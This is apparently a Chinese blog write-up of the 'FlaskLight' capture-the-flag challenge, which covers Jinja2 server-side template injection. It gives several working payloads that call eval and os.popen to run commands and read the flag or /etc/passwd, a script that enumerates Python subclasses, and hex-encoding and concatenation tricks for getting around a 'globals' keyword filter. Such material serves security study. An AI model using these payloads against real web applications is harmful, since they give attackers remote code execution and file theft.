当前位置: 首页 > news >正文

BUU40 [CSCCTF 2019 Qual]FlaskLight1【SSTI】

模板:

{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}}

''是个空字符串,''.__class__代表这个空字符串的类是什么(这里是单引号双引号都行)

.__base__表示追踪它的父类,.__subclass__()表示列出它的子类,而[80]表示它的第八十个子类,.__init__在创建类的新实例时自动调用,用于初始化对象的属性,每个类方法(包括__init__)都是一个对象,__globals__就是__init__下的方法(子类)

__globals__是个字典,包含着所有全局变量,其中__builtins__也在里面,而__builtins__是管很多常用的内置函数,比如说eval()呀啥的

__import__和import等价,不同的是__import__可以在后头加个 . 直接调用函数

也可以用['xxxx']代替 . 

{{''['__class__']['__base__']['__base__']['__subclasses__']()[78]['__init__']['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

Payload2 没用eval直接open 

{{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].open("/flasklight/coomme_geeeett_youur_flek").read()}}

payload3 

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__['__glo'+'bals__'].values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

payload4

{{config.__class__.__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

题目: 

 在源代码中发现用get提交search

存在SSTI 

 直接套上模板发现不对,我们先一步一步来

"".__class__.__base__按道理来说应该是object但是这里却是basestring,再给他套上一层__base__试试 

 ok成功出现object

套了两层__base__其实可以等价于?search={{''.__class__.__mro__[2].__subclasses__()}}中的__mro__

 再加上subclasses试试:

好的说明这样是对的,不知道哪个类的__init__含有globals

用py搜索

import requests as res
import time
for i in range(0,400):url="http://822ebf30-6568-45d3-a757-7fa1848f0368.node5.buuoj.cn:81/?search={{''.__class__.__base__.__base__.__subclasses__()[%d].__init__['__glob'+'als__']}}"response=res.get(url%i)#访问速度过快会返回429,此时就需要暂缓再访问if response.status_code!=200:time.sleep(0.3)response=res.get(url%i)print(len(response.text),i,response.status_code)

 没有一个成功的,没道理啊

这么搜就对

但是加上__globals__就出错了

 所以很有可能是过滤掉了globals,一搜还真是

 绕过方法:

第一种:拼接

将__globals__替换成['__globals__'],然后再把globals拆开,用 + 连接(py性质)

这里__globals__和['__globals__']有什么区别呢?

['__globals__']是尝试以字典键的形式访问__init__对象的__globals__属性

人话就是,如果你访问__globals__,就是访问函数对象的一个内在属性,如果访问['__globals__']呢,就会触发对象的另一个叫 __getitem__ 方法

测试一下search=glo'+'bal。。。怎么被腰斩了,哦原来+在url中被翻译成空格啊

但是在['__glob'+'al__']里面就能正常拼接,原因是在这里面需要经过python编译,python编译时候自动拼接,但是在url中直接提交会被翻译成连接符号 

试着RCE,成功

/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls /').read()")}}

/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat flasklight').read()")}}

 cat不行,里面啥也没有,所以flasklight是个文件夹(这个玩意没有后缀,早该知道是个文件夹的)

/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('ls flasklight').read()")}}

/?search={{"".__class__.__base__.__base__.__subclasses__()[78].__init__['__glob'+'als__']['__builtins__'].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

 第二种:十六进制,unicode编码

WAF/过滤器无法直接识别编码后的字符串,但模板引擎仍能解析为原始属性名。

十六进制编码:

# 原始字符串
target = "__globals__"# 转换为 \xHH 格式的十六进制编码
hex_encoded = ''.join([f"\\x{ord(c):02x}" for c in target])
# 结果:\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f

这个绕过的比拆分更多 

 ai比我会呜呜呜

全部用十六进制:

/?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]%20["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[X].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]}}

实际上就是search={{"".__class__.__base__.__base__.subclasses()[78].__init__.__globals__}} 

用十六进制编码以后再用 [ ] 括起来

这里__init__不能被十六进制编码

 十六进制编码和正常payload混在一块写就行

/?search={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"] ["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[78].__init__["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}   

其他一些payload或者可用的危险函数:
_frozen_importlib_external.FileLoader 类:该类下有get_data函数可以实现读取文件 

''.__class__.__base__.__subclasses__()[xx]["get_data"](0,"/etc/passwd")

importlib 类:importlib类中的load_module可以引用os

{{''.__class__.__base__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}

subprocess.Popen 类

{{''.__class__.__base__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

SSTI的一些总结

  1. __builtins__里面用open('xxx.txt').read()语句可以打开阅读文件
  2. 这个还有另一种写法就是''['__class__']['__init__']['__globals__']['__builtins__']['eval'](__import__('os').popen('cat xxx').read())
  3. ['os']模块里面有listdir('/'),可以列出根目录
  4. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__['__glo'+'bals__'].values() %} 
    {% if b.__class__ == {}.__class__ %} 
    {% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("cat /flasklight/coomme_geeeett_youur_flek").read()') }}{% endif %}{% endif %} {% endfor %} {% endif %}{% endfor %}

    这里面b.keys():字典对象的 keys() 方法会返回一个包含该字典所有键的视图对象,in 运算符用于字典时默认就是检查键,所以 'eval' in b 和 'eval' in b.keys() 是等价的。因此,模板代码可以简化为 {% if 'eval' in b %}

参考

SSTI(模板注入)--Flask(萌新向) | [BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客园

[CSCCTF 2019 Qual] FlaskLight_[cscctf 2019 qual]flasklight-CSDN博客

http://www.lryc.cn/news/543871.html

相关文章:

  • WiFi IEEE 802.11协议精读:IEEE 802.11-2007,6,MAC service definition MAC服务定义
  • 2025学年安徽省职业院校技能大赛 “信息安全管理与评估”赛项 比赛样题任务书
  • VAE变分自编码器的初步理解
  • 2025 最新版鸿蒙 HarmonyOS 开发工具安装使用指南
  • Rider 安装包 绿色版 Win/Mac/Linux 适合.NET和游戏开发者使用 2025全栈开发终极指南:从零配置到企业级实战
  • Python常见面试题的详解24
  • 手机打电话时如何识别对方按下的DTMF按键的字符-安卓AI电话机器人
  • RabbitMQ操作实战
  • IDEA 2024.1 最新永久可用(亲测有效)
  • 【R包】pathlinkR转录组数据分析和可视化利器
  • RPA 与 AI 结合:开启智能自动化新时代
  • [免费]Springboot+Vue在线文档管理系统【论文+源码+SQL脚本】
  • 内容选题与商业布局
  • 文字描边实现内黄外绿效果
  • 网络协议 HTTP、HTTPS、HTTP/1.1、HTTP/2 对比分析
  • 千峰React:Hooks(上)
  • salesforce 为什么无法关闭task,显示:insufficient access rights on object id
  • 机器学习:强化学习的epsilon贪心算法
  • MongoDB—(一主、一从、一仲裁)副本集搭建
  • MyBatis TypeHandler 详解与实战:FastJson 实现字符串转 List
  • 第二十八:5.5.【storeToRefs】5.6.【getters】
  • APISIX Dashboard上的配置操作
  • MinIO在 Docker中修改登录账号和密码
  • 英文论文查重,Turnitin和IThenticate两个系统哪个更合适?
  • pnpm的基本用法
  • 【实战中提升自己】防火墙篇之双ISP切换与VRRP切换对于用户的体验
  • Go在1.22版本修复for循环陷阱
  • Nginx+PHP+MYSQL-Ubuntu在线安装
  • SpringDataJPA使用deleteAllInBatch方法逻辑删除失效
  • DOM Node